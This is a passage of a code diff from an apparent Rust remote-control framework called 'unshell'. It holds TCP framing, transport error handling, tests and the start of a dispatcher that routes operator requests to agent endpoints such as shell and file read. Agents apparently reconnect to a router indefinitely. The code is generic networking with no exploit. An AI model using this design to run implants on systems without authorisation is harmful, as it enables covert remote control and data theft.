|
||||
//! Future additions: `HttpsTransport`, `IcmpTransport`, `OpenVpnTransport`.
|
||||
|
||||
extern crate alloc;
|
||||
use alloc::vec::Vec;
|
||||
#[allow(unused_imports)]
|
||||
use alloc::vec;
|
||||
|
||||
use crate::protocol::PacketHeader;
|
||||
|
||||
/// TCP transport implementation.
|
||||
///
|
||||
/// Only available when the `tcp` feature is enabled (requires `std`).
|
||||
/// Enable with `unshell = { features = ["tcp"] }` in your `Cargo.toml`.
|
||||
#[cfg(feature = "tcp")]
|
||||
pub mod tcp;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Frame size limits
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Maximum allowed size for a serialised `PacketHeader` (64 KB).
|
||||
///
|
||||
/// Headers should be tiny (< 200 bytes in practice). Anything larger suggests
|
||||
/// either a bug in the sender or a malformed/malicious frame.
|
||||
pub const MAX_HEADER_BYTES: usize = 64 * 1024;
|
||||
|
||||
/// Maximum allowed size for a packet payload (64 MB).
|
||||
///
|
||||
/// Sufficient for most file transfers without chunking.
|
||||
/// Larger transfers will require the (not-yet-implemented) streaming extension.
|
||||
pub const MAX_PAYLOAD_BYTES: usize = 64 * 1024 * 1024;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// TransportError
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Errors that can occur during [`Transport`] operations.
|
||||
///
|
||||
/// # Reconnect policy
|
||||
///
|
||||
/// When a payload receives [`TransportError::Disconnected`] or
|
||||
/// [`TransportError::Io`], it should:
|
||||
/// 1. Close the current transport.
|
||||
/// 2. Wait 5 seconds.
|
||||
/// 3. Attempt to create a new transport connection.
|
||||
/// 4. Repeat indefinitely on failure.
|
||||
///
|
||||
/// The operator CLI exits on disconnect (the user restarts it manually).
|
||||
#[derive(Debug)]
|
||||
pub enum TransportError {
|
||||
/// An I/O error from the underlying stream.
|
||||
///
|
||||
/// This includes partial writes, socket errors, and OS-level failures.
|
||||
/// Only available when the `tcp` feature is enabled (requires std).
|
||||
#[cfg(feature = "tcp")]
|
||||
Io(std::io::Error),
|
||||
|
||||
/// The announced frame header length exceeds [`MAX_HEADER_BYTES`].
|
||||
///
|
||||
/// The connection should be closed immediately — the remote end is either
|
||||
/// buggy or malicious. Do not allocate a buffer of the announced size.
|
||||
///
|
||||
/// Fields: `(announced_size, limit)`.
|
||||
HeaderTooLarge(usize, usize),
|
||||
|
||||
/// The announced frame payload length exceeds [`MAX_PAYLOAD_BYTES`].
|
||||
///
|
||||
/// Fields: `(announced_size, limit)`.
|
||||
PayloadTooLarge(usize, usize),
|
||||
|
||||
/// The remote end closed the connection cleanly (EOF).
|
||||
///
|
||||
/// This is not an error in the traditional sense. It means the other side
|
||||
/// disconnected intentionally (e.g., payload restarted, operator exited).
|
||||
Disconnected,
|
||||
|
||||
/// The received bytes could not be deserialised as a `PacketHeader`.
|
||||
///
|
||||
/// This indicates a protocol version mismatch or data corruption.
|
||||
DeserialiseError,
|
||||
}
|
||||
|
||||
#[cfg(feature = "tcp")]
|
||||
impl core::fmt::Display for TransportError {
|
||||
fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result {
|
||||
match self {
|
||||
Self::Io(e) => write!(f, "transport I/O error: {e}"),
|
||||
Self::HeaderTooLarge(got, max) => {
|
||||
write!(f, "frame header too large: {got} bytes (limit: {max})")
|
||||
}
|
||||
Self::PayloadTooLarge(got, max) => {
|
||||
write!(f, "frame payload too large: {got} bytes (limit: {max})")
|
||||
}
|
||||
Self::Disconnected => write!(f, "connection closed by remote"),
|
||||
Self::DeserialiseError => write!(f, "failed to deserialise packet header"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "tcp"))]
|
||||
impl core::fmt::Display for TransportError {
|
||||
fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result {
|
||||
match self {
|
||||
Self::HeaderTooLarge(got, max) => {
|
||||
write!(f, "frame header too large: {got} bytes (limit: {max})")
|
||||
}
|
||||
Self::PayloadTooLarge(got, max) => {
|
||||
write!(f, "frame payload too large: {got} bytes (limit: {max})")
|
||||
}
|
||||
Self::Disconnected => write!(f, "connection closed by remote"),
|
||||
Self::DeserialiseError => write!(f, "failed to deserialise packet header"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "tcp")]
|
||||
impl From<std::io::Error> for TransportError {
|
||||
fn from(e: std::io::Error) -> Self {
|
||||
Self::Io(e)
|
||||
}
|
||||
}
|
||||
|
||||
// Implement std::error::Error so TransportError works with `?` in Box<dyn Error> contexts.
|
||||
#[cfg(feature = "tcp")]
|
||||
impl std::error::Error for TransportError {
|
||||
fn source(&self) -> Option<&(dyn std::error::Error + 'static)> {
|
||||
match self {
|
||||
Self::Io(e) => Some(e),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Transport trait
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A bidirectional framed transport.
|
||||
///
|
||||
/// Implementors handle the low-level byte transfer, including framing,
|
||||
/// length prefixes, and the `read_exact` loop. The protocol layer above
|
||||
/// sees complete logical packets (header + payload pairs).
|
||||
///
|
||||
/// # Contract
|
||||
///
|
||||
/// - `send` must write all bytes before returning `Ok(())`.
|
||||
/// - `recv` must block until a complete header+payload pair is available.
|
||||
/// - Both methods must use `read_exact`-style loops (never a single `read`).
|
||||
/// - Frame size checks must be performed before any allocation.
|
||||
///
|
||||
/// # Example: implementing a custom transport
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::transport::{Transport, TransportError};
|
||||
/// use unshell::protocol::PacketHeader;
|
||||
///
|
||||
/// struct MyTransport { /* ... */ }
|
||||
///
|
||||
/// impl Transport for MyTransport {
|
||||
/// fn send(&mut self, header: &PacketHeader, payload: &[u8])
|
||||
/// -> Result<(), TransportError>
|
||||
/// {
|
||||
/// // 1. Serialise header with rkyv
|
||||
/// // 2. Write [u32 header_len][header bytes][u32 payload_len][payload bytes]
|
||||
/// // 3. Use write_all() — never plain write()
|
||||
/// todo!()
|
||||
/// }
|
||||
///
|
||||
/// fn recv(&mut self) -> Result<(PacketHeader, Vec<u8>), TransportError> {
|
||||
/// // 1. read_exact 4 bytes → header_len
|
||||
/// // 2. Check header_len <= MAX_HEADER_BYTES before allocating
|
||||
/// // 3. read_exact header_len bytes
|
||||
/// // 4. Deserialise header
|
||||
/// // 5. read_exact 4 bytes → payload_len
|
||||
/// // 6. Check payload_len <= MAX_PAYLOAD_BYTES before allocating
|
||||
/// // 7. read_exact payload_len bytes
|
||||
/// // 8. Return (header, payload)
|
||||
/// todo!()
|
||||
/// }
|
||||
/// }
|
||||
///
|
||||
/// // SAFETY: MyTransport owns its stream exclusively and does not share it.
|
||||
/// unsafe impl Send for MyTransport {}
|
||||
/// ```
|
||||
pub trait Transport: Send {
|
||||
/// Send one complete packet over this transport.
|
||||
///
|
||||
/// Blocks until all bytes have been written.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns [`TransportError::Io`] if the write fails partway through,
|
||||
/// or [`TransportError::Disconnected`] if the remote end is closed.
|
||||
fn send(&mut self, header: &PacketHeader, payload: &[u8]) -> Result<(), TransportError>;
|
||||
|
||||
/// Receive one complete packet from this transport.
|
||||
///
|
||||
/// Blocks until a full header+payload pair is available.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns [`TransportError::Disconnected`] if the remote closes cleanly,
|
||||
/// [`TransportError::Io`] on I/O errors, [`TransportError::HeaderTooLarge`]
|
||||
/// or [`TransportError::PayloadTooLarge`] if a size limit is exceeded,
|
||||
/// and [`TransportError::DeserialiseError`] if the header cannot be decoded.
|
||||
fn recv(&mut self) -> Result<(PacketHeader, Vec<u8>), TransportError>;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Frame encoding helpers (shared by all transport implementations)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Encode a `PacketHeader` to bytes using rkyv.
|
||||
///
|
||||
/// Returns the serialised byte vector, or `None` if serialisation fails.
|
||||
///
|
||||
/// This is a low-level helper; transport implementations call it in `send()`.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{PacketHeader, PacketType};
|
||||
/// use unshell::transport::encode_header;
|
||||
///
|
||||
/// let header = PacketHeader {
|
||||
/// dst_path: "/router".into(),
|
||||
/// src_path: "/agents/abc123".into(),
|
||||
/// packet_type: PacketType::Handshake,
|
||||
/// };
|
||||
/// let bytes = encode_header(&header).expect("serialisation should not fail");
|
||||
/// assert!(!bytes.is_empty());
|
||||
/// ```
|
||||
pub fn encode_header(header: &PacketHeader) -> Option<Vec<u8>> {
|
||||
rkyv::to_bytes::<rkyv::rancor::Error>(header).ok().map(|b| b.to_vec())
|
||||
}
|
||||
|
||||
/// Decode a `PacketHeader` from rkyv bytes.
|
||||
///
|
||||
/// Returns `Err(TransportError::DeserialiseError)` if the bytes are invalid.
|
||||
///
|
||||
/// This is a low-level helper; transport implementations call it in `recv()`.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{PacketHeader, PacketType};
|
||||
/// use unshell::transport::{encode_header, decode_header};
|
||||
///
|
||||
/// let header = PacketHeader {
|
||||
/// dst_path: "/router".into(),
|
||||
/// src_path: "/agents/abc123".into(),
|
||||
/// packet_type: PacketType::Handshake,
|
||||
/// };
|
||||
/// let bytes = encode_header(&header).unwrap();
|
||||
/// let decoded = decode_header(&bytes).unwrap();
|
||||
/// assert_eq!(decoded.dst_path, "/router");
|
||||
/// ```
|
||||
pub fn decode_header(bytes: &[u8]) -> Result<PacketHeader, TransportError> {
|
||||
rkyv::from_bytes::<PacketHeader, rkyv::rancor::Error>(bytes)
|
||||
.map_err(|_| TransportError::DeserialiseError)
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
//! # TCP Transport
|
||||
//!
|
||||
//! Only available when the `tcp` feature is enabled (requires `std`).
|
||||
//! This file is only included in the module tree when `cfg(feature = "tcp")`,
|
||||
//! as declared in `transport/mod.rs`.
|
||||
//!
|
||||
//! [`TcpTransport`] implements [`Transport`](super::Transport) over a
|
||||
//! `std::net::TcpStream`.
|
||||
//!
|
||||
//! ## Framing
|
||||
//!
|
||||
//! Each `send` call writes:
|
||||
//!
|
||||
//! ```text
|
||||
//! [u32 big-endian header_len] [header bytes]
|
||||
//! [u32 big-endian payload_len] [payload bytes]
|
||||
//! ```
|
||||
//!
|
||||
//! Each `recv` call:
|
||||
//! 1. Reads exactly 4 bytes → `header_len`.
|
||||
//! 2. Checks `header_len <= MAX_HEADER_BYTES`.
|
||||
//! 3. Reads exactly `header_len` bytes.
|
||||
//! 4. Deserialises the `PacketHeader`.
|
||||
//! 5. Reads exactly 4 bytes → `payload_len`.
|
||||
//! 6. Checks `payload_len <= MAX_PAYLOAD_BYTES`.
|
||||
//! 7. Reads exactly `payload_len` bytes.
|
||||
//! 8. Returns `(header, payload)`.
|
||||
//!
|
||||
//! **All reads use `read_exact`.** TCP is a stream protocol; a single `read`
|
||||
//! may return fewer bytes than requested. `read_exact` loops until it has
|
||||
//! the full count or the stream ends.
|
||||
//!
|
||||
//! ## Reconnection
|
||||
//!
|
||||
//! `TcpTransport` does not handle reconnection internally. The caller (the
|
||||
//! payload's main loop or the operator CLI) is responsible for catching
|
||||
//! [`TransportError::Disconnected`] and [`TransportError::Io`], then
|
||||
//! creating a new `TcpTransport` to the router address.
|
||||
|
||||
extern crate alloc;
|
||||
use alloc::vec;
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use std::io::{Read, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
|
||||
use super::{
|
||||
decode_header, encode_header, TransportError, Transport, MAX_HEADER_BYTES, MAX_PAYLOAD_BYTES,
|
||||
};
|
||||
use crate::protocol::PacketHeader;
|
||||
|
||||
/// A framed TCP transport wrapping a `TcpStream`.
|
||||
///
|
||||
/// # Example: connecting as a payload
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::transport::tcp::TcpTransport;
|
||||
///
|
||||
/// // Connect to the router
|
||||
/// let transport = TcpTransport::connect("127.0.0.1:9000").expect("connection failed");
|
||||
/// ```
|
||||
///
|
||||
/// # Example: accepting a connection on the router
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use std::net::TcpListener;
|
||||
/// use unshell::transport::tcp::TcpTransport;
|
||||
///
|
||||
/// let listener = TcpListener::bind("0.0.0.0:9000").unwrap();
|
||||
/// for stream in listener.incoming() {
|
||||
/// let transport = TcpTransport::from_stream(stream.unwrap());
|
||||
/// // hand off to a node thread
|
||||
/// }
|
||||
/// ```
|
||||
pub struct TcpTransport {
|
||||
stream: TcpStream,
|
||||
}
|
||||
|
||||
impl TcpTransport {
|
||||
/// Connect to a remote address and return a transport wrapping that connection.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns [`TransportError::Io`] if the connection fails.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::transport::tcp::TcpTransport;
|
||||
/// let t = TcpTransport::connect("127.0.0.1:9000").unwrap();
|
||||
/// ```
|
||||
pub fn connect<A: ToSocketAddrs>(addr: A) -> Result<Self, TransportError> {
|
||||
let stream = TcpStream::connect(addr)?;
|
||||
Ok(Self { stream })
|
||||
}
|
||||
|
||||
/// Wrap an already-connected `TcpStream`.
|
||||
///
|
||||
/// Used by the router's accept loop, which creates streams via
|
||||
/// `TcpListener::incoming()`.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use std::net::TcpListener;
|
||||
/// use unshell::transport::tcp::TcpTransport;
|
||||
///
|
||||
/// let listener = TcpListener::bind("0.0.0.0:9000").unwrap();
|
||||
/// let (stream, _addr) = listener.accept().unwrap();
|
||||
/// let transport = TcpTransport::from_stream(stream);
|
||||
/// ```
|
||||
pub fn from_stream(stream: TcpStream) -> Self {
|
||||
Self { stream }
|
||||
}
|
||||
|
||||
/// Access the underlying `TcpStream` for configuration (e.g., timeouts).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::transport::tcp::TcpTransport;
|
||||
/// use std::time::Duration;
|
||||
///
|
||||
/// let t = TcpTransport::connect("127.0.0.1:9000").unwrap();
|
||||
/// t.stream_ref().set_read_timeout(Some(Duration::from_secs(5))).unwrap();
|
||||
/// ```
|
||||
pub fn stream_ref(&self) -> &TcpStream {
|
||||
&self.stream
|
||||
}
|
||||
}
|
||||
|
||||
impl Transport for TcpTransport {
|
||||
/// Send a packet (header + payload) over the TCP stream.
|
||||
///
|
||||
/// Writes the two-part frame atomically from the caller's perspective:
|
||||
/// this call does not return until all bytes have been written or an
|
||||
/// error occurs.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// - [`TransportError::Io`] on write failure or partial write.
|
||||
/// - [`TransportError::Disconnected`] if the remote closed the connection.
|
||||
fn send(&mut self, header: &PacketHeader, payload: &[u8]) -> Result<(), TransportError> {
|
||||
// Serialise the header
|
||||
let header_bytes =
|
||||
encode_header(header).ok_or(TransportError::DeserialiseError)?;
|
||||
|
||||
// Build the full frame in one allocation so we can use a single
|
||||
// write_all() call, reducing the chance of partial writes causing
|
||||
// the remote to see a split frame.
|
||||
//
|
||||
// Frame layout:
|
||||
// [u32 header_len][header bytes][u32 payload_len][payload bytes]
|
||||
let header_len = header_bytes.len() as u32;
|
||||
let payload_len = payload.len() as u32;
|
||||
|
||||
let mut frame =
|
||||
Vec::with_capacity(8 + header_bytes.len() + payload.len());
|
||||
frame.extend_from_slice(&header_len.to_be_bytes());
|
||||
frame.extend_from_slice(&header_bytes);
|
||||
frame.extend_from_slice(&payload_len.to_be_bytes());
|
||||
frame.extend_from_slice(payload);
|
||||
|
||||
self.stream.write_all(&frame).map_err(|e| {
|
||||
if e.kind() == std::io::ErrorKind::BrokenPipe
|
||||
|| e.kind() == std::io::ErrorKind::ConnectionReset
|
||||
|| e.kind() == std::io::ErrorKind::UnexpectedEof
|
||||
{
|
||||
TransportError::Disconnected
|
||||
} else {
|
||||
TransportError::Io(e)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/// Receive one complete packet from the TCP stream.
|
||||
///
|
||||
/// Blocks until a full header+payload pair is available.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// - [`TransportError::Disconnected`] if the remote closed cleanly (EOF).
|
||||
/// - [`TransportError::Io`] on I/O errors.
|
||||
/// - [`TransportError::HeaderTooLarge`] if the announced header size
|
||||
/// exceeds [`MAX_HEADER_BYTES`].
|
||||
/// - [`TransportError::PayloadTooLarge`] if the announced payload size
|
||||
/// exceeds [`MAX_PAYLOAD_BYTES`].
|
||||
/// - [`TransportError::DeserialiseError`] if the header bytes are invalid.
|
||||
fn recv(&mut self) -> Result<(PacketHeader, Vec<u8>), TransportError> {
|
||||
// --- Step 1: Read header length (4 bytes) ---
|
||||
let header_len = read_u32(&mut self.stream)?;
|
||||
if header_len > MAX_HEADER_BYTES {
|
||||
return Err(TransportError::HeaderTooLarge(header_len, MAX_HEADER_BYTES));
|
||||
}
|
||||
|
||||
// --- Step 2: Read header bytes ---
|
||||
let mut header_buf = vec![0u8; header_len];
|
||||
read_exact(&mut self.stream, &mut header_buf)?;
|
||||
|
||||
// --- Step 3: Deserialise header ---
|
||||
let header = decode_header(&header_buf)?;
|
||||
|
||||
// --- Step 4: Read payload length (4 bytes) ---
|
||||
let payload_len = read_u32(&mut self.stream)?;
|
||||
if payload_len > MAX_PAYLOAD_BYTES {
|
||||
return Err(TransportError::PayloadTooLarge(payload_len, MAX_PAYLOAD_BYTES));
|
||||
}
|
||||
|
||||
// --- Step 5: Read payload bytes ---
|
||||
let mut payload = vec![0u8; payload_len];
|
||||
read_exact(&mut self.stream, &mut payload)?;
|
||||
|
||||
Ok((header, payload))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Internal helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Read exactly 4 bytes from `stream` and interpret them as a big-endian `u32`.
|
||||
///
|
||||
/// Returns [`TransportError::Disconnected`] on clean EOF (zero bytes read),
|
||||
/// or [`TransportError::Io`] on other errors.
|
||||
fn read_u32(stream: &mut TcpStream) -> Result<usize, TransportError> {
|
||||
let mut buf = [0u8; 4];
|
||||
read_exact(stream, &mut buf)?;
|
||||
Ok(u32::from_be_bytes(buf) as usize)
|
||||
}
|
||||
|
||||
/// Read exactly `buf.len()` bytes from `stream`.
|
||||
///
|
||||
/// Unlike `stream.read()`, this function loops until the buffer is full or
|
||||
/// an error occurs. This is essential for TCP, which may deliver data in
|
||||
/// smaller chunks than requested.
|
||||
///
|
||||
/// Returns [`TransportError::Disconnected`] on clean EOF,
|
||||
/// [`TransportError::Io`] on I/O errors.
|
||||
fn read_exact(stream: &mut TcpStream, buf: &mut [u8]) -> Result<(), TransportError> {
|
||||
stream.read_exact(buf).map_err(|e| {
|
||||
if e.kind() == std::io::ErrorKind::UnexpectedEof
|
||||
|| e.kind() == std::io::ErrorKind::ConnectionReset
|
||||
{
|
||||
TransportError::Disconnected
|
||||
} else {
|
||||
TransportError::Io(e)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::protocol::PacketType;
|
||||
use std::net::TcpListener;
|
||||
use std::thread;
|
||||
|
||||
/// Test that a packet sent through a real TcpStream arrives intact.
|
||||
///
|
||||
/// This test spins up a local listener on an ephemeral port, sends one
|
||||
/// packet from one thread, and verifies the other receives it correctly.
|
||||
#[test]
|
||||
fn roundtrip_over_real_tcp() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").expect("bind failed");
|
||||
let addr = listener.local_addr().expect("local_addr failed");
|
||||
|
||||
let header_sent = PacketHeader {
|
||||
dst_path: "/agents/test/shell".into(),
|
||||
src_path: "/operator/sess1".into(),
|
||||
packet_type: PacketType::Request,
|
||||
};
|
||||
let payload_sent = b"hello world".to_vec();
|
||||
|
||||
let header_clone = header_sent.clone();
|
||||
let payload_clone = payload_sent.clone();
|
||||
|
||||
// Sender thread
|
||||
let sender = thread::spawn(move || {
|
||||
let stream = TcpStream::connect(addr).expect("connect failed");
|
||||
let mut transport = TcpTransport::from_stream(stream);
|
||||
transport
|
||||
.send(&header_clone, &payload_clone)
|
||||
.expect("send failed");
|
||||
});
|
||||
|
||||
// Receiver (main thread)
|
||||
let (stream, _) = listener.accept().expect("accept failed");
|
||||
let mut transport = TcpTransport::from_stream(stream);
|
||||
let (header_recv, payload_recv) = transport.recv().expect("recv failed");
|
||||
|
||||
sender.join().expect("sender thread panicked");
|
||||
|
||||
assert_eq!(header_recv.dst_path, header_sent.dst_path);
|
||||
assert_eq!(header_recv.src_path, header_sent.src_path);
|
||||
assert_eq!(header_recv.packet_type, header_sent.packet_type);
|
||||
assert_eq!(payload_recv, payload_sent);
|
||||
}
|
||||
|
||||
/// Test that an empty payload round-trips correctly.
|
||||
#[test]
|
||||
fn roundtrip_empty_payload() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").expect("bind failed");
|
||||
let addr = listener.local_addr().expect("local_addr failed");
|
||||
|
||||
let header = PacketHeader {
|
||||
dst_path: "/router/ping".into(),
|
||||
src_path: "/operator/sess1".into(),
|
||||
packet_type: PacketType::Request,
|
||||
};
|
||||
|
||||
let header_clone = header.clone();
|
||||
let sender = thread::spawn(move || {
|
||||
let stream = TcpStream::connect(addr).expect("connect failed");
|
||||
let mut t = TcpTransport::from_stream(stream);
|
||||
t.send(&header_clone, &[]).expect("send failed");
|
||||
});
|
||||
|
||||
let (stream, _) = listener.accept().expect("accept failed");
|
||||
let mut t = TcpTransport::from_stream(stream);
|
||||
let (recv_header, recv_payload) = t.recv().expect("recv failed");
|
||||
|
||||
sender.join().expect("sender thread panicked");
|
||||
|
||||
assert_eq!(recv_header.dst_path, "/router/ping");
|
||||
assert!(recv_payload.is_empty());
|
||||
}
|
||||
|
||||
/// Test that a large payload (1 MB) survives the TCP framing.
|
||||
#[test]
|
||||
fn roundtrip_large_payload() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").expect("bind failed");
|
||||
let addr = listener.local_addr().expect("local_addr failed");
|
||||
|
||||
let payload: Vec<u8> = (0..1_000_000u32).map(|i| (i % 256) as u8).collect();
|
||||
let payload_clone = payload.clone();
|
||||
|
||||
let header = PacketHeader {
|
||||
dst_path: "/agents/x/files/read".into(),
|
||||
src_path: "/operator/sess1".into(),
|
||||
packet_type: PacketType::Response,
|
||||
};
|
||||
let header_clone = header.clone();
|
||||
|
||||
let sender = thread::spawn(move || {
|
||||
let stream = TcpStream::connect(addr).expect("connect failed");
|
||||
let mut t = TcpTransport::from_stream(stream);
|
||||
t.send(&header_clone, &payload_clone).expect("send failed");
|
||||
});
|
||||
|
||||
let (stream, _) = listener.accept().expect("accept failed");
|
||||
let mut t = TcpTransport::from_stream(stream);
|
||||
let (_, recv_payload) = t.recv().expect("recv failed");
|
||||
|
||||
sender.join().expect("sender thread panicked");
|
||||
|
||||
assert_eq!(recv_payload, payload);
|
||||
}
|
||||
|
||||
/// Test that a frame whose announced header size exceeds the limit is rejected
|
||||
/// without allocating the full buffer.
|
||||
#[test]
|
||||
fn rejects_oversized_header() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").expect("bind failed");
|
||||
let addr = listener.local_addr().expect("local_addr failed");
|
||||
|
||||
let sender = thread::spawn(move || {
|
||||
let mut stream = TcpStream::connect(addr).expect("connect failed");
|
||||
// Write an enormous header length
|
||||
let huge_len = (MAX_HEADER_BYTES + 1) as u32;
|
||||
stream
|
||||
.write_all(&huge_len.to_be_bytes())
|
||||
.expect("write failed");
|
||||
});
|
||||
|
||||
let (stream, _) = listener.accept().expect("accept failed");
|
||||
let mut t = TcpTransport::from_stream(stream);
|
||||
let result = t.recv();
|
||||
|
||||
sender.join().expect("sender panicked");
|
||||
|
||||
assert!(
|
||||
matches!(result, Err(TransportError::HeaderTooLarge(_, _))),
|
||||
"expected HeaderTooLarge, got: {result:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
+498
-34
@@ -1,56 +1,520 @@
|
||||
use alloc::{boxed::Box, string::String, vec::Vec};
|
||||
//! # Tree Module
|
||||
//!
|
||||
//! The `Tree` dispatches incoming [`TreeRequest`]s to registered [`Endpoint`]s
|
||||
//! by matching the request's destination path.
|
||||
//!
|
||||
//! ## Path matching
|
||||
//!
|
||||
//! Paths are `/`-delimited strings. An `Endpoint` is registered at a path prefix.
|
||||
//! A request matches an endpoint if the endpoint's path is a prefix of the request path.
|
||||
//! When multiple endpoints match, the one with the **longest** prefix wins.
|
||||
//!
|
||||
//! ```text
|
||||
//! Registered endpoints: Request path:
|
||||
//! /shell ← prefix /shell/exec → matches /shell
|
||||
//! /files ← prefix /files/read → matches /files
|
||||
//! /shell/exec ← more specific /shell/exec → matches /shell/exec (longer)
|
||||
//! ```
|
||||
//!
|
||||
//! ## Usage
|
||||
//!
|
||||
//! ```rust
|
||||
//! use unshell::tree::{Tree, Endpoint};
|
||||
//! use unshell::protocol::{
|
||||
//! TreeRequest, TreeResponse, RequestType, ResponseStatus, content,
|
||||
//! };
|
||||
//!
|
||||
//! /// A simple echo endpoint that reflects the request data back.
|
||||
//! struct EchoEndpoint;
|
||||
//!
|
||||
//! impl Endpoint for EchoEndpoint {
|
||||
//! fn handle(&mut self, request: TreeRequest) -> TreeResponse {
|
||||
//! TreeResponse {
|
||||
//! request_id: request.request_id,
|
||||
//! status: ResponseStatus::Ok,
|
||||
//! content_type: request.content_type.clone(),
|
||||
//! data: request.data.clone(),
|
||||
//! }
|
||||
//! }
|
||||
//! }
|
||||
//!
|
||||
//! let mut tree = Tree::new();
|
||||
//! tree.register("/echo", EchoEndpoint);
|
||||
//!
|
||||
//! let response = tree.dispatch(TreeRequest {
|
||||
//! request_id: 1,
|
||||
//! request_type: RequestType::Read,
|
||||
//! content_type: content::UTF8_STRING.into(),
|
||||
//! data: b"hello".to_vec(),
|
||||
//! }, "/echo/anything");
|
||||
//!
|
||||
//! assert_eq!(response.status, ResponseStatus::Ok);
|
||||
//! assert_eq!(response.data, b"hello");
|
||||
//! ```
|
||||
|
||||
mod request;
|
||||
extern crate alloc;
|
||||
use alloc::borrow::ToOwned;
|
||||
use alloc::boxed::Box;
|
||||
use alloc::string::String;
|
||||
use alloc::vec::Vec;
|
||||
|
||||
pub use request::{TreeRequest, TreeRequestType};
|
||||
use crate::protocol::{
|
||||
content, ResponseStatus, TreeRequest, TreeResponse,
|
||||
};
|
||||
|
||||
pub mod types;
|
||||
// ---------------------------------------------------------------------------
|
||||
// Endpoint trait
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[derive(Default)]
|
||||
/// A module that handles [`TreeRequest`]s at a registered path.
|
||||
///
|
||||
/// Implement this trait to add capabilities to a payload. The `Tree` calls
|
||||
/// `handle` when a request's path matches this endpoint's registration prefix.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::tree::Endpoint;
|
||||
/// use unshell::protocol::{TreeRequest, TreeResponse, ResponseStatus, content};
|
||||
///
|
||||
/// struct PingEndpoint;
|
||||
///
|
||||
/// impl Endpoint for PingEndpoint {
|
||||
/// fn handle(&mut self, request: TreeRequest) -> TreeResponse {
|
||||
/// TreeResponse {
|
||||
/// request_id: request.request_id,
|
||||
/// status: ResponseStatus::Ok,
|
||||
/// content_type: content::UTF8_STRING.into(),
|
||||
/// data: b"pong".to_vec(),
|
||||
/// }
|
||||
/// }
|
||||
/// }
|
||||
/// ```
|
||||
pub trait Endpoint: Send {
|
||||
/// Handle a request and return a response.
|
||||
///
|
||||
/// This method is called synchronously on the recv loop thread. It should
|
||||
/// not block for extended periods. For long-running operations, spawn a
|
||||
/// background thread and return immediately with a `pending` response
|
||||
/// (streaming responses are a future protocol feature).
|
||||
fn handle(&mut self, request: TreeRequest) -> TreeResponse;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tree
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A path-addressed dispatcher that routes [`TreeRequest`]s to [`Endpoint`]s.
|
||||
///
|
||||
/// # Path matching algorithm
|
||||
///
|
||||
/// The tree uses **longest-prefix matching**:
|
||||
/// 1. Split the request path by `/`.
|
||||
/// 2. For each registered endpoint, check if the endpoint's path components
|
||||
/// are a prefix of the request path components.
|
||||
/// 3. Among all matching endpoints, return the one with the most components
|
||||
/// (the most specific match).
|
||||
/// 4. If no match: return a [`ResponseStatus::NoBranchError`] response.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::tree::{Tree, Endpoint};
|
||||
/// use unshell::protocol::{TreeRequest, TreeResponse, RequestType, ResponseStatus, content};
|
||||
///
|
||||
/// struct Shell;
|
||||
///
|
||||
/// impl Endpoint for Shell {
|
||||
/// fn handle(&mut self, req: TreeRequest) -> TreeResponse {
|
||||
/// TreeResponse {
|
||||
/// request_id: req.request_id,
|
||||
/// status: ResponseStatus::Ok,
|
||||
/// content_type: content::UTF8_STRING.into(),
|
||||
/// data: b"shell output".to_vec(),
|
||||
/// }
|
||||
/// }
|
||||
/// }
|
||||
///
|
||||
/// let mut tree = Tree::new();
|
||||
